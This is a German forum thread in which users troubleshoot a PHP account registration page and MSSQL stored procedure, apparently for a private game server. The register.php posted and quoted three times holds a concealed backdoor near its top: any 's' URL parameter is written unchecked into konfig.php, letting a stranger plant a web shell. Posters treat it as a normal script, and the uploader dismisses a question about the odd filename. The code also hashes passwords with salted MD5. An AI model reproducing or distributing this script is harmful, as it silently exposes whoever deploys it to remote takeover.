[V-Tut] Registerpage

12/26/2010 14:27 Nilsator2#61
Ich habe 2 dbo.webCreateAcc upgeloadet, sonst versuch es mal mit der anderen.
12/27/2010 09:13 Deda94#62
Wenn ich die webCreateSql ausführe kommt dieser Error:

Quote:
Meldung 208, Ebene 16, Status 6, Prozedur webCreateAcc, Zeile 22
Ungültiger Objektname 'dbo.webCreateAcc'.
Edit: Ahh ok jetzt gehts, mit der anderen
12/27/2010 11:42 v0lk4n#63
Toxic less bevor du etwas schreibst :)
Es gibt 2 dbo's xD 1 mal in dem Register und einmal als normaler download !

Achya Nils ich bin jetzt durch gekommen und hab dieses problem
[Only registered and activated users can see links. Click Here To Register...]
Ich erstell ein acc und es verbindet sich wahrscheinlich nicht ich weiss nicht was ich machen muss puuuuuuuuuuuuuuuuuuuuuuuush it up

Danke im Voraus für antworten!
12/27/2010 12:24 flavaslava#64
v0lk4n

so wie es aussieht benutzt du hamachi server noch, dann musst du den registerscript auf dem rechner machen mit xampp und dort hin weiterleiten, wenn sich jemand registrieren will.

Das was du da siehst sind php codes, schau mal ob du am anfang <?php und am ende ?> hast, sollte ansonsten funktionieren.

Mfg
Flava
12/27/2010 15:38 v0lk4n#65
Also mein Register.php sieht so aus:

<php?
<center><h1><u>Register:</u></h1>

<center>
if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('/configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>

Momentan leuft der server über Hamachi bald Root :)
Ich möchte den prinzip verstehen wie die php sich mit xampp und der sql verbindet

Puuuuuuuuuuuuuuuuuuuuuuuuuush it up warte auf antworten danke im voraus =?

Edit:Die Register.php hab ich auch so wie es im Ordner war genommen hat auch net gefunkt :(
12/27/2010 16:03 Nilsator2#66
Das register verbindet in dem es die daten aus der config liest. Die Cofig verbindet darauf hin zur Datenbank.
12/27/2010 16:05 v0lk4n#67
Aso und wo ist jetzt das Problem in=?

Puuuuuuuuuuuuuuuuuuuuuush it up bitte
12/27/2010 17:26 Nilsator2#68
Das regi kann nur local/über hamachi connecten ;)
12/27/2010 18:03 v0lk4n#69
Und das bedeutet xD

Edit:Also was soll ich jetzt deiner meinung nach in die reg.php eingeben =
Warte immer noch auf eine antwort °.°
12/30/2010 10:07 v0lk4n#70
Meine sql db verbindet sich nicht mit der reg page ob wohl ich alles nach plan gemacht habe .

puuuuuuuuuuuuuuuuuuuuuuuuuuuuush it up warte seit einer halben ewigkeit antwortet
12/30/2010 10:41 Fullscreen#71
Problem gefunden:

Quote:
<php?
<center><h1><u>Register:</u></h1>

<center>
if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('/configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
Seit wann wird konfig.php mit k geschrieben???
12/30/2010 11:05 Nilsator2#72
Quote:
Originally Posted by Fullscreen View Post
Problem gefunden:

Quote:
<php?
<center><h1><u>Register:</u></h1>

<center>
if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('/configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';

?>
Seit wann wird konfig.php mit k geschrieben???
Der dateipfad mit der richtigen config wird doch angegeben. :rolleyes:
12/30/2010 21:51 v0lk4n#73
Also ich hab mir jetzt die Reg_Page von Time2>Chill rübergezogen mit Injection soll angeblich besser sein =?
Bringt auch mehr da ich als Web dev ein Noob bin xD
Aber naja das einzige problem ist er der Reg Page verbindet sich nicht mit der Datenbank
kann mir das jmd über Teamviewer machen bitte :((
Wäre sehr dankbar warte schon seit 2 wochen auf eine Hilfe
01/16/2011 11:29 rapcon#74
hi leutz auch ich hab probs:
wenn ich 5.5.180.114register/register.php oder 127.0.0.1/register/register.php
dann steht einfach nur
Register:

mehr net

nochmal ein bild:

Auchso ja cuh noch ein anderes problem ^^:
webCreateAcc funzt bei mir net:

Meldung 2010, Ebene 16, Status 1, Prozedur webCreateAcc, Zeile 22
ALTER kann nicht für 'dbo.webCreateAcc' ausgeführt werden, da es sich um einen nicht kompatiblen Objekttyp handelt.


Was da denn los ?
01/16/2011 12:20 Fullscreen#75
Ich hatte das selbe Problem. Extra für die Leute, bei denen die 1. im Pack register nicht klappt, hat er eine neue bereitgestellt: